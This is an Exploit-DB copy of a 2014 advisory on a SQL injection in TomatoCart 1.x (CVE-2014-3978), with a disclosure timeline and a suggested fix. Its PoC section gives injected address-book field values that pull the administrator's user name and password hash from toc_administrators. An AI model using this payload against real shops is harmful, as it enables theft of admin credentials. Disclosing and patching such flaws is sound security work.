TomatoCart 1.x - SQL Injection Vulnerability

2014-08-09T00:00:00
ID EDB-ID:34308
Type exploitdb
Reporter Breaking.Technology
Modified 2014-08-09T00:00:00

Description

TomatoCart 1.x - SQL Injection Vulnerability. CVE-2014-3978. Webapps exploit for php platform

                                        
                                            Title:
    TomatoCart v1.x (latest-stable) Remote SQL Injection Vulnerability

Background:
    TomatoCart is open source ecommerce solution developed and maintained by a number of 64,000+ users from 50+ countries and regions. It's distributed under the terms of the GNU General Public License (or "GPL"), free to download and share. The community, including project founders and other developers, are supposed to work together on the platform of TomatoCart, contributing features, technical support and services. The current stable package is TomatoCart V1.1.8.6.1, while the latest development version is version 2.0 Alpha 4.  This exploit affects the "stable" tree.

Timeline:
    06 June 2014   - CVE-2014-3978 assigned
    06 June 2014   - Submitted to vendor
    25 June 2014   - Received inadequate patch from vendor
    26 June 2014   - Suggested patch sent to vendor
    17 July 2014   - Request for update from vendor, no response.
    05 August 2014 - Pull request sent on github for full patch

Status:
    Vendor ignored, see suggested fix below.

Released:
    05 August 2014 - https://breaking.technology/advisories/CVE-2014-3978.txt

Classification:
    SQL Injection

Exploit Complexity:
    Low

Severity:
    High

Description:
    TomatoCart suffers from a systemic vulnerability in its query factory, allowing attackers to circumvent user input sanitizing to perform remote SQL injection. 

    Required Information:
    * Valid user account

PoC:
    Create a new contact in your address book using the following values. 

    First name: :entry_lastname,
    Last Name : ,(select user_name from toc_administrators order by id asc limit 1),(select user_password from toc_administrators order by id asc limit 1),3,4,5,6,7,8,9,10)# 
    
    The new contact will be added to your address book with the admin hash as the contact's street address 

Suggested Action:
    Pull request has been sent to the developers on github. Recommend patching the required to properly encode colon (:)
    https://github.com/tomatocart/TomatoCart-v1/pull/238